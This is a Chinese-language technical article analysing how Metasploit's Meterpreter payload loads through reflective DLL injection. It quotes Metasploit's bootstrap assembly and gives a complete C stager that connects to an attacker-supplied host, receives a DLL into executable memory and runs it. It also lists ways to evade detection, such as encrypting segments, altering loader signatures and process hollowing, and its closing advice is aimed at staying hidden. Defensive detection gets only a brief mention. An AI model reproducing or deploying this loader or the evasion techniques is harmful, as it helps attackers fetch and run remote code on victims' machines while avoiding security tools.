Meterpreter载荷执行原理分析
字数 1552 2025-08-29 08:31:53
Meterpreter载荷执行原理深入分析与实践指南
0x00 Meterpreter概述
Meterpreter是Metasploit框架中的核心后渗透工具,具有以下显著特点:
- 完全内存驻留,无文件落地
- 模块化设计,功能可动态扩展
- 支持多种通信协议(TCP/HTTP/HTTPS等)
- 提供丰富的后渗透功能(端口转发、键盘记录、权限提升等)
0x01 Meterpreter载荷架构分析
载荷类型分类
-
Single载荷:
- 独立完整的载荷
- 示例:bind_tcp
-
Stager载荷:
- 小型引导程序
- 建立初始连接通道
- 负责下载并执行Stage载荷
-
Stage载荷:
- 核心功能模块
- 通过反射DLL注入技术加载
- 示例:meterpreter
反射DLL注入技术原理
-
技术特点:
- 直接在内存中加载DLL,不依赖Windows加载器
- 不生成磁盘文件
- 通过ReflectiveLoader函数实现自主加载
-
技术演进:
- 原始技术:Stephen Fewer的ReflectiveDLLInjection
- Metasploit定制版:Rapid7的改进实现
0x02 Meterpreter加载流程深度解析
1. 载荷生成阶段
关键代码文件:
meterpreter_loader.rb:主加载模块reflectivedllinject.rb:反射DLL修复模块reflective_dll_loader.rb:ReflectiveLoader偏移计算
# meterpreter_loader.rb关键部分
require 'msf/core/payload/windows/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
module MetasploitModule
include Msf::Payload::Windows::MeterpreterLoader
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Meterpreter (Reflective Injection)',
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
'Author' => ['skape', 'sf', 'OJ Reeves'],
'PayloadCompat'=> { 'Convention' => 'sockedi handleedi http https' },
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x86_Win))
end
end
2. DLL修复与Bootstrap生成
关键技术点:
- DOS头修改:利用DOS头前37字节存储引导代码
- PE结构保护:确保不破坏PE头关键结构
- 地址重定位:动态计算ReflectiveLoader函数地址
# reflectivedllinject.rb关键代码
def asm_invoke_dll(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
push edi ; push the socket handle
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
mov ebx, eax ; save DllMain for another call
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
push 5 ; indicate that we have detached
push eax ; push some arbitrary value for hInstance
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
^
end
3. 关键参数说明
-
rdi_offset:
- ReflectiveLoader函数在DLL中的偏移地址
- 计算方式:
目标地址 - (当前地址 + 5)
-
exitfunk:
- 退出函数类型:
- 'THREAD':线程退出
- 'PROCESS':进程退出
- 'SEH':结构化异常处理退出
- 'SLEEP':休眠后退出
- 退出函数类型:
0x03 Meterpreter通信流程
1. 分阶段传输过程
-
首次传输:
- 4字节缓冲区大小信息(如:0x2E840D00)
-
后续传输:
- 分多次发送修复后的DLL数据
- 每次传输部分DLL内容
2. 内存加载流程
- 接收4字节缓冲区大小信息
- 分配可执行内存区域
- 将socket句柄存入缓冲区
- 接收并组装DLL数据
- 跳转到DLL执行入口
0x04 自定义Loader实现
1. 关键组件实现
// Winsock初始化
void winsock_init() {
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) < 0) {
printf("ws2_32.dll is out of date.\n");
WSACleanup();
exit(1);
}
}
// 错误处理函数
void punt(SOCKET my_socket, char * error) {
printf("Sorry : %s\n", error);
closesocket(my_socket);
WSACleanup();
exit(1);
}
// 完整数据接收函数
int recv_all(SOCKET my_socket, void * buffer, int len) {
int tret = 0;
int nret = 0;
void * startb = buffer;
while (tret < len) {
nret = recv(my_socket, (char *)startb, len - tret, 0);
startb += nret;
tret += nret;
if (nret == SOCKET_ERROR)
punt(my_socket, "Could not receive data");
}
return tret;
}
2. 主加载逻辑
int main(int argc, char * argv[]) {
ULONG32 size;
char * buffer;
void (*function)();
winsock_init();
if (argc != 3) {
printf("%s [host] [port]\n", argv[0]);
exit(1);
}
// 建立连接
SOCKET my_socket = my_connect(argv[1], atoi(argv[2]));
// 接收4字节长度信息
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read length value Error\n");
// 分配可执行内存
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
punt(my_socket, "could not alloc buffer\n");
// 存储socket句柄
buffer[0] = 0xBF; // mov edi指令
memcpy(buffer + 1, &my_socket, 4);
// 接收DLL数据
count = recv_all(my_socket, buffer + 5, size);
// 执行DLL
function = (void (*)())buffer;
function();
return 0;
}
0x05 高级技术与防御对策
1. 检测与规避技术
-
检测方法:
- 内存扫描反射DLL特征
- API调用序列分析
- 异常内存区域监控
-
规避技术:
- 分段加密DLL数据
- 动态修改ReflectiveLoader特征
- 使用进程空洞技术
2. 新型技术方向
-
直接PE函数执行:
- 不依赖DLL加载过程
- 直接映射并执行PE文件中的函数
-
无反射加载技术:
- 基于进程注入
- 使用合法进程加载机制
0x06 实践建议
-
开发建议:
- 保持Bootstrap代码小于62字节
- 正确处理DOS头和PE头关系
- 实现可靠的错误处理机制
-
调试技巧:
- 使用Windbg分析内存中的DLL
- 监控关键API调用序列
- 验证重定位表处理结果
-
安全建议:
- 定期更新反射加载技术
- 实现多阶段加密方案
- 结合多种隐蔽技术